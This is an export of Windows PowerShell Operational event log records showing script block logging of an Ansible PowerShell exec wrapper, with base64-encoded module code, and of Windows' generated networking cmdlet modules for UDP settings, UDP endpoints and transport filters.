Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1828 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 4608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:03 AM | dfeadd90-ee34-0004-5f28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpL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Vyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0I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9uIHRvIHNhdmUgeW91IGZyb20gY29kaW5nIHRoYXQgbWFudWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlk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VudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAg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ndW1lbnRzIGZyb20gYSAiZmlsZSIgcGFzc2VkIGFzCiAgICB0aGUgc2luZ2xlIGFyZ3VtZW50IHRvIHRoZSBtb2R1
ScriptBlock ID: 7c2b8c94-bb89-459a-85da-ffcdfd43713a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1827 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 4608 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:03 AM | dfeadd90-ee34-0004-5f28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1826 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 4932 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:03 AM | dfeadd90-ee34-0000-e3ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4508 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1825 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 224 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:03 AM | dfeadd90-ee34-0000-e3ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1824 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 4932 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:03 AM | dfeadd90-ee34-0000-e3ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetUDPSetting'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetUDPSetting
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetUDPSetting')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[uint16[]]
${DynamicPortRangeStartPort},
[Parameter(ParameterSetName='ByName', Position=1)]
[ValidateNotNull()]
[uint16[]]
${DynamicPortRangeNumberOfPorts},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('DynamicPortRangeStartPort') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DynamicPortRangeStartPort})
$__cmdletization_queryBuilder.FilterByProperty('DynamicPortRangeStartPort', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('DynamicPortRangeNumberOfPorts') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DynamicPortRangeNumberOfPorts})
$__cmdletization_queryBuilder.FilterByProperty('DynamicPortRangeNumberOfPorts', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetUDPSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetUDPSetting' -Alias '*'
function Set-NetUDPSetting
{
[CmdletBinding(DefaultParameterSetName='InputObject (cdxml)', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetUDPSetting')]
param(
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetUDPSetting')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${DynamicPortRangeStartPort},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${DynamicPortRangeNumberOfPorts},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DynamicPortRangeStartPort')) {
[object]$__cmdletization_value = ${DynamicPortRangeStartPort}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeStartPort'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeStartPort'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DynamicPortRangeNumberOfPorts')) {
[object]$__cmdletization_value = ${DynamicPortRangeNumberOfPorts}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeNumberOfPorts'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DynamicPortRangeNumberOfPorts'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetUDPSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetUDPSetting' -Alias '*'
ScriptBlock ID: 3a46ca64-178a-42a2-905a-83cd55b38772
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1823 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-ff2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetUDPEndpoint'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetUDPEndpoint
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetUDPEndpoint')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('IPAddress')]
[ValidateNotNull()]
[string[]]
${LocalAddress},
[Parameter(ParameterSetName='ByName', Position=1)]
[ValidateNotNull()]
[uint16[]]
${LocalPort},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${OwningProcess},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[datetime[]]
${CreationTime},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('LocalAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalAddress})
$__cmdletization_queryBuilder.FilterByProperty('LocalAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('LocalPort') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalPort})
$__cmdletization_queryBuilder.FilterByProperty('LocalPort', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('OwningProcess') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${OwningProcess})
$__cmdletization_queryBuilder.FilterByProperty('OwningProcess', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CreationTime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CreationTime})
$__cmdletization_queryBuilder.FilterByProperty('CreationTime', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetUDPEndpoint.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetUDPEndpoint' -Alias '*'
ScriptBlock ID: a1f1ee3c-a48e-46bc-8734-ecace5cb171a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1822 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-fc2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetTCPSetting')]
[ValidateNotNull()]
[ciminstance]
${AssociatedTCPSetting},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetTransportFilter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('SettingName') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${SettingName})
$__cmdletization_queryBuilder.FilterByProperty('SettingName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Protocol') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Protocol})
$__cmdletization_queryBuilder.FilterByProperty('Protocol', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('LocalPortStart') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalPortStart})
$__cmdletization_queryBuilder.FilterByProperty('LocalPortStart', $__cmdletization_values, $false, 'Default')
}
